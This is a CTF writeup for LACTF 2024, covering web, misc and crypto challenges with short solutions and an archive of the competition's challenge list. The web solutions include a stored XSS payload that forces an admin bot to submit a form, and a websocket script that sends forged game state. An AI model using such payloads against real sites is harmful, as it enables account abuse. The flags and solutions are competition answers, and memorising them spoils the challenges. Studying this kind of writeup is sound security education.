Post

LACTF 2024 - Challenges/Writeups

Multiple members of IrisSec and myself participated in LACTF 2024! This writeup only contains the challenges I personally solved or contributed to. I hope you enjoy!

You can join the Discord community for this CTF (with more writeups!) here.

web/terms-and-conditions (769 solves)

Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!

When visiting the site linked, we are shown a plain webpage with some rules and an accept button, but when we get close it moves away from our cursor.

tac-1.png

The way I approach this is by using Burp Suite to remove the client side movement code so the button cannot move away. I do this by intercepting responses in Burp Suite and then editing the response before the browser loads it.

I specifically remove this portion of the JS:

1
2
3
4
window.addEventListener("mousemove", function (e) {
    mx = e.clientX;
    my = e.clientY;
});

Flag: lactf{that_button_was_definitely_not_one_of_the_terms}

Files: None provided :(

web/flaglang (606 solves)

Do you speak the language of the flags?

Looking at Flaglang it is a plain website where we can select countries and see ‘Hello world’ in various languages, at the very top is an interesting option, Flagistan.

flaglang-1.png

Looking at the source code provided we can see that the countries are stored in YAML and the country ‘Flagistan’ seems to deny all country codes.

Scrolling through the YAML I notice that ‘NO’ for Norway is highlighted blue.

flaglang-2.png

YAML seems to parse YES/NO as objects like true/false rather than strings, so we can cause the server to load an invalid object (which isn’t on Flagistans deny list), allowing us to render the flag!

flaglang-3.png

Bam! We can see the flag!

Flag: lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

Files: flaglang.zip

misc/infinite loop (544 solves)

I found this google form but I keep getting stuck in a loop! Can you leak to me the contents of form and the message at the end so I can get credit in my class for submitting? Thank you!

Working through the form we can see, it is indeed an infinite loop, we get stuck on this question:

infloop-1.png

Looking inside the source code, at the bottom, I spot something of interest in the script tag.

infloop-2.png

It seems our flag is right there in 2 parts!

Flag: lactf{l34k1ng_4h3_f04mz_s3cr3tz}

Files: Form (Potentially Down in future)

misc/mixed signals (471 solves)

NOTE: Unfortunately we goofed up and uploaded the wrong file. As it’s too late into the CTF to fix, we will be leaving the challenge as-is. Yes, you can just hear the flag in the audio file directly. I can’t figure out what my friend is trying to tell me. They sent me this recording and told me that the important stuff is at 40 kHz (??? what does that even mean). This may be useful. Flag format is lactf{xxx} with only lower case letters, numbers, and underscores between the braces.

We are given a .wav, but we can see they accidentally messed up and uploaded the wrong file. So just listen to the file and use the words from the NATO Phonetic alphabet to make your flag.

Flag: lactf{c4n_y0u_plz_unm1x_my_s1gn4lz}

Files: message.wav

crypto/valentines-day (452 solves)

Happy Valentine’s Day! I’m unfortunately spending my Valentine’s Day working on my CS131 homework. I’m getting bored so I wrote something for my professor. To keep it secret, I encrypted it with a Vigenere cipher with a really long key (161 characters long!) As a hint, I gave you the first part of the message I encrypted. Surely, you still can’t figure it out though? Flag format is lactf{xxx} with only lower case letters, numbers, and underscores between the braces.

We are given both a ciphertext and a sample of the text, I actually approached this challenge without using the sample text at all.

I opened up Cryptool 1 on Windows and analysed the text as a Vignere. I supplied the key length as 161 and was given a key, after fixing a few typos from the very recognisable song, we are given our key!

Key: NEVERGONNAGIVEYOUUPNEVERGONNALETYOUDOWNNEVERGONNARUNAROUNDANDDESERTYOUNEVERGONNAMAKEYOUCRYNEVERGONNASAYGOODBYENEVERGONNATELLALIEANDHURTYOUIHOPEYOUENJOYEDTHISSONG

Decrypting the cipher, we spot a flag.

Flag: lactf{known_plaintext_and_were_off_to_the_races}

Files: ci.txt, intro.txt

web/new-housing-portal (343 solves)

After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret? Hint - You can send a link that the admin bot will visit as samy. Hint - Come watch the real Samy’s talk if you are stuck!

We are given an admin bot, a web interface and the source code.

Looking at the capabilities of the app, we seem to be able to register a user with a few parameters (username, password, name and deepest darkest secret).

nhp-1.png

Looking at the source code, we can see a user ‘samy’ (the GOAT) is registered and the flag is stored in his deepest darkest secret.

1
2
3
4
5
6
7
8
users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});

Once registered we seem to have a few capabilities:

  • Sending invites to a user based on their username, it displays their username, name and an invite button (/finder/?q=USERNAME)

nhp-2.png

  • Recieveing invites from a user, displays their name and deepest darkest secret (/request)

nhp-3.png

It seems we have to force samy to send an invite to us to see the flag, I make a new user with a potential payload idea involving XSS.

I make a new form using HTML with my username to submit an invite, and an XSS to trigger the form, as follows:

1
2
3
4
5
<form name="invitefix" action="/finder" method="POST">
  <input type="hidden" name="username" value="USERNAME">
  <input type="submit" value="Invite">
</form>
<img src=x onerror="document.invitefix.submit()"/>

The form being redefined above allows it to access the form, and using the <img src=x onerror=""> allows some slight delay before triggering, which seemed more consistent.

I send the following URL to the admin bot to trigger the search for my user and set the payload off.

https://new-housing-portal.chall.lac.tf/finder/?q=USERNAME

Once visited, we can see samy has visited and sent us an invite, how kind!

Flag: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}

Files: new-housing-portal.zip

misc/one by one (193 solves)

One….. by………. one…………… whew I’m tired, this form is waaaaaaay too long. Note: the flag does have random characters at the end - that is intentional.

This seems to be another Google Forms challenge like infinite loop, so I approach it the same way and look at the JS code. Looking at a bit of it, it seems like we can select letters in a correct order to construct our flag.

To crack the flag I looked at the basic patterns of the code, I noticed that some letters had 0 impact on the final result but some had all but 1 point to the same value, I selected all the ones that had values and the one odd value out to construct the flag. I copied the object into the same script and wrote the following Javascript.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function removeItemAll(arr, value) {
    var i = 0;
    while (i < arr.length) {
        if (arr[i] === value) {
            arr.splice(i, 1);
        } else {
            ++i;
        }
    }
    return arr;
}

function mode(arr){
    return arr.sort((a,b) =>
          arr.filter(v => v===a).length
        - arr.filter(v => v===b).length
    ).pop();
}
flag=""
for (x in FB_PUBLIC_LOAD_DATA_[1][1]) {
    if (!FB_PUBLIC_LOAD_DATA_[1][1][x][1].includes('letter')) continue
    if (FB_PUBLIC_LOAD_DATA_[1][1][x][4][0][1][0][4] === 0) continue
    numbers = []
    for (y in FB_PUBLIC_LOAD_DATA_[1][1][x][4][0][1]) {
        numbers.push(FB_PUBLIC_LOAD_DATA_[1][1][x][4][0][1][y][2])
    }
    removeItemAll(numbers,mode(numbers))
    for (y in FB_PUBLIC_LOAD_DATA_[1][1][x][4][0][1]) {
        if(FB_PUBLIC_LOAD_DATA_[1][1][x][4][0][1][y][2] === numbers[0]) flag+=FB_PUBLIC_LOAD_DATA_[1][1][x][4][0][1][y][0]
    }
}
console.log(flag)

This works by checking if the title is a select a letter, then if it actually matters what value we select, then finds the odd value out and records it to the flag.

In the end we are given this lactf{1_by_0n3_by3_un0_*,"g1' which we add a } to the end to get out the flag.

Flag: lactf{1_by_0n3_by3_un0_*,"g1'}

Files: Form (Potentially Down in future)

web/pogn (186 solves)

Pogn in mong.

Opening the website we can see its a website version of pong with an unfair computer, so how do we win?

We can see its interacting with websockets firstly, so lets check the source code for more information.

Note: ball[0] and ball[1] reference the balls current X and Y on the screen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (ball[0] < 0) {
  ws.send(JSON.stringify([
    Msg.GAME_END,
    'oh no you have lost, have you considered getting better'
  ]));
  clearInterval(interval);

// game still happening
} else if (ball[0] < 100) {
  ws.send(JSON.stringify([
    Msg.GAME_UPDATE,
    [ball, me]
  ]));

// user wins
} else {
  ws.send(JSON.stringify([
    Msg.GAME_END,
    'omg u won, i guess you considered getting better ' +
    'here is a flag: ' + flag,
    [ball, me]
  ]));
  clearInterval(interval);
}

The rules for win loss are flawed, if we hit the ball and force the position to be 0 on both X and Y we can bypass the rules and score a win.

I write a small python script to keep our player in the middle and try to hit the ball to [0,0] continually.

1
2
3
4
5
6
7
8
9
from websocket import create_connection
ws = create_connection("ws://pogn.chall.lac.tf/ws")
cheating=True
while cheating:
	ws.send(b'[1,[[36.80555555555556,-2.082825822168086],[0,0]]]')
	d=ws.recv()
	print(d)
	if int(d[1]) == 2:
		cheating=False

Flag: lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}

Files: pogn.zip

misc/gacha (152 solves)

All my friends have been getting into genshin and honkai recently and keep sending me pictures. However, they keep hiding their favorite characters, demanding for more money for their gacha pulls. Can you free zhongli my waifu???

Firstly, the package.sh supplied shows that the images were given (owo.png and uwu.png of particular interest), are both ‘enciphered’ with the same key, and we can see they write the flag to the image uwu.png.

1
2
3
4
5
6
7
8
9
...
magick img/uwu.png \
    -weight 50000 -fill red -pointsize 96 \
    -draw "text 50,540 '`cat flag.txt`'" \
    PNG24:flag.png

magick img/owo.png -encipher secret.key chall/owo.png
magick flag.png -encipher secret.key chall/uwu.png
...

Looking online for security issues with encoding two images with the same key, I come across a discussion on StackExchange and in a reply to the question is a PasteBin with some python code which should do what were asking.

I utilise this code with our two images and it works perfectly, giving us our new and improved, readable image!

gacha-1.png

Flag: lactf{zh0ng_17_x_ch7ld3_b4t_w7th_x0r}

Files: package.sh, chall.zip

misc/my poor git (72 solves)

My poor git server! I think someone took a hammer to the server and ruined a few of the files! The git repo is available at /flag.git

To start I use GitTools Dumper to dump whatever it can find to a folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ./gitdumper.sh https://poor-git.chall.lac.tf/flag.git/ dumb-git-final --git-dir=flag.git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating dumb-git-f/flag.git/
[+] Downloaded: HEAD
[+] Downloaded: objects/info/packs
[-] Downloaded: description
[-] Downloaded: config
[-] Downloaded: COMMIT_EDITMSG
[-] Downloaded: index
[-] Downloaded: packed-refs
[-] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[-] Downloaded: logs/HEAD
[-] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[+] Downloaded: info/refs
[-] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/21/7ecd3c93b00c6b7404473d3bdfcb222a22edf4

Looking at what was extracted, my key interest is in objects and looking at the file we got, I have a look at whats in it. (It didn’t download for me so I manually did so.)

1
2
3
4
$ wget "https://poor-git.chall.lac.tf/flag.git/objects/21/7ecd3c93b00c6b7404473d3bdfcb222a22edf4"
...
$ file 7ecd3c93b00c6b7404473d3bdfcb222a22edf4
7ecd3c93b00c6b7404473d3bdfcb222a22edf4: zlib compressed data

Seeing its zlib, I use zlib_decompress to extract it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ zlib_decompress 7ecd3c93b00c6b7404473d3bdfcb222a22edf4 out
WARNING: zlib_decompress is deprecated and will be removed in a future version
$ cat out
commit 1128tree b46f24349a27913ddfa5c8a29bc3bcc8d2722358
parent c2e6e9737a8a666667b27c3a1dc84a76c8f4dab3
author burturt <[email protected]> 1705793830 -0800
committer burturt <[email protected]> 1705793830 -0800
gpgsig -----BEGIN PGP SIGNATURE-----

 iQIzBAABCAAdFiEES9haaAXoglC6rYp5y1IcUPPMLo8FAmWsWSYACgkQy1IcUPPM
 Lo+D7xAArOSdQR7brnqMfoeYp5no8DH/GduQ0k8M6EPMaVWG8Muj2yt1rBMJQxy+
 LQdMHDCEXJIZ/xjqMsSB7wIKd83QjtT2l2dfo8f/s4HibiSe/1legY69jcigbZ7X
 /k4ghGrp0MKL8o768GcbOVZ/eRhQeSef+X2bCnUD9ITHqmjEUq2f0LBGvLulmSIb
 jlqEhSfm5bu3PjUyD3sn81oZoL02313FQABGgMNz7NSSP7T0qpfqNhrNvgTvZCao
 L+yuk3g4iFnVztUIW+QS91+VpTrJZU5fsOd+aLNRkR6ka8ZZOwzuDpKP3gYQ2oyB
 0pxHQdkQ1imlc1atTCqGvCUERWGzRqfF2hyNRLy008uSY/yR9dPkHVnmq/Y7jL9C
 CrkjwwqUHk7abCPPIqKS0IA0nwiMFh3ifSxVqcqkchbca6rfTdRiYhoRIIpf4igK
 RHnSEOE/pmwt4Nd0oHh/QR3x0zoYI3+et7fGAD0yJ/TgakZRqts00XOspkT1ExDv
 b73vq71qTBwggGzNx92xWvtQEqRXAabnjj9kf5ku7Ff3gfqj0auzLtWmJYvX+b8o
 cJlZ5OREHrs/M898uP1CWwmkGSv7Jn+ZsMGdE0yxh7SWMPLMoKqnFCy9oEN49IWC
 RVzOF8yeqNYNsvfDOxGv6PoMch2+M/mu21XzwcU2ku2I4MUp4hs=
 =uif1
 -----END PGP SIGNATURE-----

remove flag again uugh

I can see some more referenced ID’s in this commit for the tree and parent. The commit message states removing a flag so I work backwards a commit to c2e6e9737a8a666667b27c3a1dc84a76c8f4dab3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ wget "https://poor-git.chall.lac.tf/flag.git/objects/c2/e6e9737a8a666667b27c3a1dc84a76c8f4dab3"
...
$ zlib_decompress e6e9737a8a666667b27c3a1dc84a76c8f4dab3 out
...
$ cat out
commit 1172tree 47442ca74fffb4c5d1293fbd7bb0bc048d8fdff4
parent ac4d7070179f49c03ed06d98c19068cc8e2d74c5
parent b061db539557e1bb4dbcffd936a2d1412eeb1f66
author burturt <[email protected]> 1705793796 -0800
committer burturt <[email protected]> 1705793796 -0800
gpgsig -----BEGIN PGP SIGNATURE-----

 iQIzBAABCAAdFiEES9haaAXoglC6rYp5y1IcUPPMLo8FAmWsWQsACgkQy1IcUPPM
 Lo/WTQ/+NHlgQ/9EPV/6hgdC/ZrzatMEckzxCW7ZByOkDoO0c/69HcarTtXZbR7B
 ewd1eqUdVRAmfIxzH9wkQptn05lEpJm6waiA6udsFkh2ZiFmdgq66reVXrLpP/4M
 YBCcpM1i4Z7MLE8u/hJDWE+yogaGBF97nP+sm7NGIkyrrRgf1DwYNxuGsdsOnOtD
 scbA1/mnRvKQ06I0zKlSmbhjXtkNyMY8fQ9B4nq3JoReIQ+QNCPd6HuU/D83bHVt
 agFKnBCQE9lNgeMZYuQSnHKA8Vg9GhoMqa7u9sIRZEBtiJJnVcs7o1EvwF9iOF87
 ZJRRt3rU/BoM4G8i/0g7FnHb2VaTi0UgXe9Vy6QHryje8cUhCxc8WcpU/s6jheid
 q6BR6oDJxTCZZktz5/DYZzRl7Ekz2dv2d0f9Ie3/gK5Ro4bSAOFV1vTEL2ekDpX2
 3DVo5//jKuQH9mZQHcSZwI9gvp1oITC6w2NGs+IHLA3L1p7in0WmcMoA6biKRXEb
 LpLkhQ2+7Qi+8X/e0l1Nuo2KMuL+2Py9JwNmCgMNF65Hv8orpEmw8flc6Jz5bT73
 o7BDNyzNjo347pMs476jZHnsd7cHXezAPCPzHSuvGgB71uTdNRXOQ8zwWy1j2gS/
 Pe0QyoNVW5FFvryhe2DEuHTHiQ6f/bpxn/SMicO28v488/78rlU=
 =tzsP
 -----END PGP SIGNATURE-----

Merge branch 'fix'

If we go back a bit more we eventually encounter this commit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ cat out
commit 1114tree 75e7c1f3b178941ef76997bc3a9ca19bdc0dda09
parent fd87b3b95fc02fea268ecea9dce20964b285f50b
author burturt <[email protected]> 1705793578 -0800
committer burturt <[email protected]> 1705793578 -0800
gpgsig -----BEGIN PGP SIGNATURE-----

 iQIzBAABCAAdFiEES9haaAXoglC6rYp5y1IcUPPMLo8FAmWsWCoACgkQy1IcUPPM
 Lo+qoA//aHEpF4eedE4gfR+ghdo9qbNIJTJME1hyeS421Z4xZWBZZtX989yVdWDo
 ryD2eqwvMFJhoZc/Rr5NZnv0D+ozn+qFd3Td6wpQK8d8CeYrD/TmtPsX2ABZD2Nx
 so2EY+73+YGYtqVHiVlFNjI4IpUb2bkjwPXfonr9N4ZPiVF4eEf08iOVKmWHpvE1
 Jg3R8EHyZ//osphfPyfoTP8w5FSaO7La/p5HuyXYIYnnZSy6Zqz9YZ5AfPFedpwN
 1LrOI5hukgXms+LwO8AONNqYJsaDkwNivpmh3EGM/HLICwv8yXiY69E3EopaaTfY
 lWqZ7GZA9kFkykyfnb+g4wlu/OdfHLtuMLiB++4bPsChVFh1FPOxxL96JOnmA+jh
 7F3T50guec5z4plaw68vYkiUS0vC1A20qqW0GJLgutSlQDR9s66Wr64I8ltgZCHQ
 vs8paRHqYrmZt4TM1EgMEvRszSgCEw0p9vGYeF6UuhdWHo1E6ecwpelUzpjUF33k
 sNvyhdW17l1IAwT5vT1tt93zPJ8edjJ6IKsWmB8hhKzmyrmJnlzr+vMPRP2LZiJX
 qiFzgWNbdhb+j4v4apvOIpas2oJdX30nhqnTsU8zlz1SfiGf8G1d5RRkacuR3Bxj
 9eYRlqsxcKvF4z1owMbhmFd2sDhgSVRsN4W5OFqzwF4fjr5QaQY=
 =O3tj
 -----END PGP SIGNATURE-----

add flag

Perfect, lets have a look at the tree object, when we utilise git to read the tree object we can see the objects stored and what their ids are.

1
2
3
4
5
6
7
$ cd ..
$ mkdir 75
$ cd 75
$ wget "https://poor-git.chall.lac.tf/flag.git/objects/75/e7c1f3b178941ef76997bc3a9ca19bdc0dda09"
...
$ git ls-tree 75e7c1f3b178941ef76997bc3a9ca19bdc0dda09
100644 blob 741fa59ac9ec45f978d799bd88b7290bc304abdd	flag.txt

Let’s download that blob, this should be it!

1
2
3
4
5
6
$ wget "https://poor-git.chall.lac.tf/flag.git/objects/74/1fa59ac9ec45f978d799bd88b7290bc304abdd"
...
$ zlib_decompress 1fa59ac9ec45f978d799bd88b7290bc304abdd out
...
$ cat out
blob 32lactf{u51n9_dum8_g17_pr070c01z}

There’s our flag!

If this was a longer challenge I would make a script to do this, but it was relatively short.

Flag: lactf{u51n9_dum8_g17_pr070c01z}

Files: None provided :(

misc/discord events (60 solves)

I wrote a new script to sync PBR’s events to a bunch of places. I even deployed it to the LA CTF server with a flag as an event id! Note: the event ID is formatted in the normal flag format lactf{…} - it is not the discord numerical ID.

When viewing the event on Discord without using any proxy, we see its just a normal event text.

But viewing the event in a proxy we can see some extra content that was invisible.

1
\u200d\u2064\u200c\u200d\u200c\u2062\u200d\u2062\u200d\u2061\u200d\u200d\u2061\u2062\u200d\u2062\u200d\u2062\u200c\u200d\u200d\u2062\u200d\u2062\u200d\u2061\u200d\u200c\u2062\u2061\u200d\u2062\u2064\u200d\u2062\u200c\u2061\u200c\u2061\u2062\u2061\u200d\u2061\u200d\u2061\u200c\u200d\u200c\u2061\u200d\u200d\u200d\u2062\u200c\u2062\u200c\u2062\u200c\u2062\u2061\u2062\u200c\u2062\u2064\u200c\u200d\u2064\u200d\u2061\u200d\u2062\u200c\u2062\u2061\u2062\u200c\u2064\u2061\u200d\u200d\u2062\u2064\u2063\u2062\u200c\u2062\u2064\u200d\u200c\u200d\u2064\u2063\u2061\u200d\u2061\u2062\u2061\u200d\u2062\u2064\u2061\u2063\u2061\u200d\u2062\u200c\u2061\u200c\u200d\u2064\u200d\u2062\u200d\u2062\u200c\u2062\u200c\u2061\u200c\u2062\u200d\u2064\u2063\u2061\u200c\u2062\u200c\u2062\u200c\u2062\u200c\u2061\u200d\u2062\u2064\u2063\u2061\u2062\u200d\u2062\u200d\u2061\u2063\u2061

Looking online for ciphers that involve exclusively hidden characters I found StegCloak with an online demo, which seemed to be a match.

I firstly used CyberChef to unescape the string, then copied the raw output to paste into StegCloak.

discord-events-1.png

Flag: lactf{j311yf15h_1n_da_cyb3r_s3a}

Files: None provided :(

Thanks for reading!

Feel free to give me feedback or follow me on Twitter and LinkedIn.

You can also find my other contacts on the whoami page.

Unsolved & Challenge Archival

A list of challenges I didn’t solve, and the downloads (if provided) to try them for yourself! All challenges are sorted by solve count.

crypto - 3/9 solved

✅ valentines-day - 452 solves

Created by: AVDestroyer

Happy Valentine’s Day! I’m unfortunately spending my Valentine’s Day working on my CS131 homework. I’m getting bored so I wrote something for my professor. To keep it secret, I encrypted it with a Vigenere cipher with a really long key (161 characters long!)

As a hint, I gave you the first part of the message I encrypted. Surely, you still can’t figure it out though?

Flag format is lactf{xxx} with only lower case letters, numbers, and underscores between the braces.

Files: intro.txt ct.txt

✅ very-hot - 416 solves

Created by: Red Guy

I didn’t think that using two primes for my RSA was sexy enough, so I used three.

Files: src.py out.txt

✅ selamat pagi - 331 solves

Created by: AVDestroyer

If you talk in another language, nobody can understand what you say! Check out this message I sent in Indonesian. To add some extra security, I also applied a monoalphabetic substitution cipher on it!

Files: message.txt

hOlyT - 141 solves

Created by: freed

God is trying to talk to you through a noisy wire

Use nc chall.lac.tf 31171 to talk to him.

Files: server.py

prove it! - 41 solves

Created by: freed

He’s just snarking at me, menacingly!

nc chall.lac.tf 31179

Files: server.py

budget-bag - 39 solves

Created by: freed

I heard knapsack crypto is insecure so I put it on a curve. Unfortunately I was broke so I had to go to the dollar store.

Files: output.txt main.py

shuffle - 35 solves

Created by: AVDestroyer

Casinos hate this one simple trick!

nc chall.lac.tf 31172

Files: shuffler.py

pprngc - 33 solves

Created by: joshuazhu

Cracking PRNGs is hard, but I can pseudo do it for you.

nc chall.lac.tf 31173

Files: pprngc.py

any% ssg - 25 solves

Created by: AVDestroyer

Check out this new open-source version of Minecraft my friend is making! They started working on it yesterday, but I want to speedrun it before anyone else can … can you find me a seed that makes the end portal complete? Run the game with java -jar my-new-game.jar.

Send your seed to nc chall.lac.tf 31170 to get the flag.

Files: dist.tar.gz

misc - 7/11 solved

✅ infinite loop - 545 solves

Created by: burturt

I found this google form but I keep getting stuck in a loop! Can you leak to me the contents of form and the message at the end so I can get credit in my class for submitting? Thank you!

Click Me

Files: None provided :(

✅ mixed signals - 471 solves

Created by: AVDestroyer

NOTE: Unfortunately we goofed up and uploaded the wrong file. As it’s too late into the CTF to fix, we will be leaving the challenge as-is. Yes, you can just hear the flag in the audio file directly.

I can’t figure out what my friend is trying to tell me. They sent me this recording and told me that the important stuff is at 40 kHz (??? what does that even mean).

This may be useful. Flag format is lactf{xxx} with only lower case letters, numbers, and underscores between the braces.

Files: message.wav

✅ closed - 245 solves

Created by: burturt

Over spring break, my friend sent me this picture of a place they went to, and said it was their favorite plate to visit but it closed :(.

Where is this rock?

Answer using the coordinates of the bottom left corner of the rock, rounded to the nearest thousandth. If the coordinates were the physical location of the bruin bear statue, the flag would be lactf{34.071,-118.445}. Note that there is no space in the flag.

Files: 1D8CF3F1-0427-4ED2-86C0-E40A064D5345.png

✅ one by one - 194 solves

Created by: burturt

One….. by………. one…………… whew I’m tired, this form is waaaaaaay too long.

Note: the flag does have random characters at the end - that is intentional.

Click Me

Files: None provided :(

✅ gacha - 152 solves

Created by: r2uwu2

All my friends have been getting into genshin and honkai recently and keep sending me pictures. However, they keep hiding their favorite characters, demanding for more money for their gacha pulls.

Can you free zhongli my waifu???

Files: package.sh chall.zip

✅ my poor git - 72 solves

Created by: burturt

My poor git server! I think someone took a hammer to the server and ruined a few of the files!

The git repo is available at /flag.git

poor-git.chall.lac.tf

Files: None provided :(

✅ discord events - 60 solves

Created by: arcblroth

I wrote a new script to sync PBR’s events to a bunch of places. I even deployed it to the LA CTF server with a flag as an event id!

Note: the event ID is formatted in the normal flag format lactf{...} - it is not the discord numerical ID.

Files: None provided :(

remi's-world - 36 solves

Created by: arcblroth

In the vibrant lands of Remi / where pink diamonds float all over yore / an unsuspecting doom approaches / not told in the books of lore

nc chall.lac.tf 31150

Files: Remis.sol Setup.sol

jsfudge - 31 solves

Created by: r2dev2

JsFudge this JsFudge that, why don’t you JsFudge the flag.

nc chall.lac.tf 31130

Files: Dockerfile index.js

my smart git - 18 solves

Created by: burturt

Apparently my poor git server didn’t like being called “dumb”, so it disabled its dumb capabilities.

The git repo is available at /flag.git

smart-git.chall.lac.tf

Files: None provided :(

zerocoin - 4 solves

Created by: aplet123

Behold my new revolutionary cryptocurrency built on top of Solana: zerocoin! I named it after how much it’s worth.

nc chall.lac.tf 31337

Files: dist.tar.gz

pwn - 3/11 solved

✅ aplet123 - 251 solves

Created by: kaiphait

bliutech: Can we get ApletGPT?
me: No we have ApletGPT at home.
ApletGPT at home:

nc chall.lac.tf 31123

Files: Dockerfile aplet123.c aplet123

✅ 52-card-monty - 200 solves

Created by: bliutech

3-card monty was too easy for me so I made 52-card monty! Can you show me the lady?

nc chall.lac.tf 31132

Files: Dockerfile monty monty.c

✅ sus - 136 solves

Created by: kaiphait

sus

nc chall.lac.tf 31284

Files: Dockerfile sus sus.c

pizza - 105 solves

Created by: kaiphait

yummy

nc chall.lac.tf 31134

Files: Dockerfile pizza pizza.c

ppplot - 20 solves

Created by: enzocut

i plan to plot to pwn this

nc chall.lac.tf 31164

Files: Dockerfile ppplot

flipma - 19 solves

Created by: enzocut

what’s flipma?

nc chall.lac.tf 31165

Files: Dockerfile flipma

53-card-monty - 9 solves

Created by: kaiphait + enzocut

52-card monty wasn’t toxic enough for me so I made it a little harder. Note that the Dockerfile is different.

nc chall.lac.tf 31133

Files: Dockerfile monty monty.c

yacc - 9 solves

Created by: enzocut

yet another compiled calculator

nc chall.lac.tf 31169

Files: dist.tar.gz

woogie-boogie - 3 solves

Created by: enzocut

i haven’t been watching too much jjk

nc chall.lac.tf 31166

Files: Dockerfile woogie-boogie run

polypwn - 2 solves

Created by: enzocut

Polymorph Rank 1
60 Mana 30 yd range
1.5 sec cast
Requires Mage
Requires level 8
Transforms the enemy into a sheep, forcing it to wander around for up to 20 sec.

nc chall.lac.tf 31167

Files: dist.tar.gz

heapsort - 2 solves

Created by: enzocut

what are data structures? i only know pwn

nc chall.lac.tf 31168

Files: heapsort Dockerfile

rev - 9/9 solved

✅ shattered-memories - 697 solves

Created by: aplet123

I swear I knew what the flag was but I can’t seem to remember it anymore… can you dig it out from my inner psyche?

Files: shattered-memories

✅ aplet321 - 445 solves

Created by: kaiphait

Unlike Aplet123, Aplet321 might give you the flag if you beg him enough.

nc chall.lac.tf 31321

Files: Dockerfile aplet321

✅ the-secret-of-java-island - 284 solves

Created by: aplet123

The Secret of Java Island is a 2024 point-and-click graphic adventure game developed and published by LA CTF Games. It takes place in a fictional version of Indonesia during the age of hacking. The player assumes the role of Benson Liu, a young man who dreams of becoming a hacker, and explores fictional flags while solving puzzles.

Files: game.jar

✅ flag-finder - 105 solves

Created by: oh worm

Speak with the almighty flag. Perhaps if you find an item it likes, it will be willing to share some of its knowledge? I’m sure it’s in the room somewhere… Note: Enter the flag using all lowercase. M1/M2 Macs must use Rosetta.

Files: FlagFinderMac.zip FlagFinderWindows.zip FlagFinderLinux.zip

✅ glottem - 89 solves

Created by: aplet123

Haha glottem good!

Note: The correct flag is 34 characters long.

Files: glottem

✅ meow meow - 50 solves

Created by: burturt

When I was running my cyber lab, I asked if anyone doesn’t like cats, and no one raised their hard, so it is FINAL, CATS » DOGS!!!!! As a test, you need to find the cat in the sea of dogs in order to get the flag.

Note: data.zip expands to around 575 MB.

Files: data.zip meow

✅ rbp - 27 solves

Created by: arcblroth

Three tiny letters have come together to mean so much to me this past year. From psi beta rho to register base pointer, I can’t imagine a world where r, b, and p come apart…

Files: rbp

✅ puzzlepalooza - 26 solves

Created by: aplet123

I love solving puzzles, but they aren’t hard enough for me. So, I decided to start solving them blindfolded. Are you up to the task?

Files: puzzlepalooza

✅ technically-correct - 19 solves

Created by: aplet123

Technically correct is the best kind of correct.

Files: technically_correct

web - 7/10 solved

✅ terms-and-conditions - 771 solves

Created by: aplet123

Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!

terms-and-conditions.chall.lac.tf

Files: None provided :(

✅ flaglang - 607 solves

Created by: r2uwu2

Do you speak the language of the flags?

flaglang.chall.lac.tf

Files: flaglang.zip

✅ la housing portal - 344 solves

Created by: burturt

Portal Tips Double Dashes (“–”) Please do not use double dashes in any text boxes you complete or emails you send through the portal. The portal will generate an error when it encounters an attempt to insert double dashes into the database that stores information from the portal.

Also, apologies for the very basic styling. Our unpaid LA Housing(tm) RA who we voluntold to do the website that we gave FREE HOUSING for decided to quit - we’ve charged them a fee for leaving, but we are stuck with this website. Sorry about that.

Please note, we do not condone any actual attacking of websites without permission, even if they explicitly state on their website that their systems are vulnerable.

la-housing.chall.lac.tf

Files: serv.zip

✅ new-housing-portal - 214 solves

Created by: r2uwu2

After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?

Hint - You can send a link that the admin bot will visit as samy.

Hint - Come watch the real Samy’s talk if you are stuck!

Site - new-housing-portal.chall.lac.tf

Admin Bot - https://admin-bot.lac.tf/new-housing-portal

Files: new-housing-portal.zip

✅ pogn - 188 solves

Created by: r2uwu2

Pogn in mong.

pogn.chall.lac.tf

Files: pogn.zip

✅ penguin-login - 182 solves

Created by: r2uwu2

I got tired of people leaking my password from the db so I moved it out of the db. penguin.chall.lac.tf

Files: penguin-login.zip

✅ jason-web-token - 62 solves

Created by: r2uwu2

With all this hype around jwt, I decided to implement jason web tokens to secure my OWN jason fan club site. Too bad its not in haskell. jwt.chall.lac.tf

Files: jwt.zip

ctf-wiki - 38 solves

Created by: bliutech

I am such a huge fan of CTF players that I decided to create a wiki with some of my favorites! Hopefully, none of them hack it. ;D

ctf-wiki.chall.lac.tf

Admin Bot

Files: ctf-wiki.zip

quickstyle - 12 solves

Created by: r2uwu2

Script on the streets, style in the sheets, they call me the cascader.

Site - quickstyle.chall.lac.tf

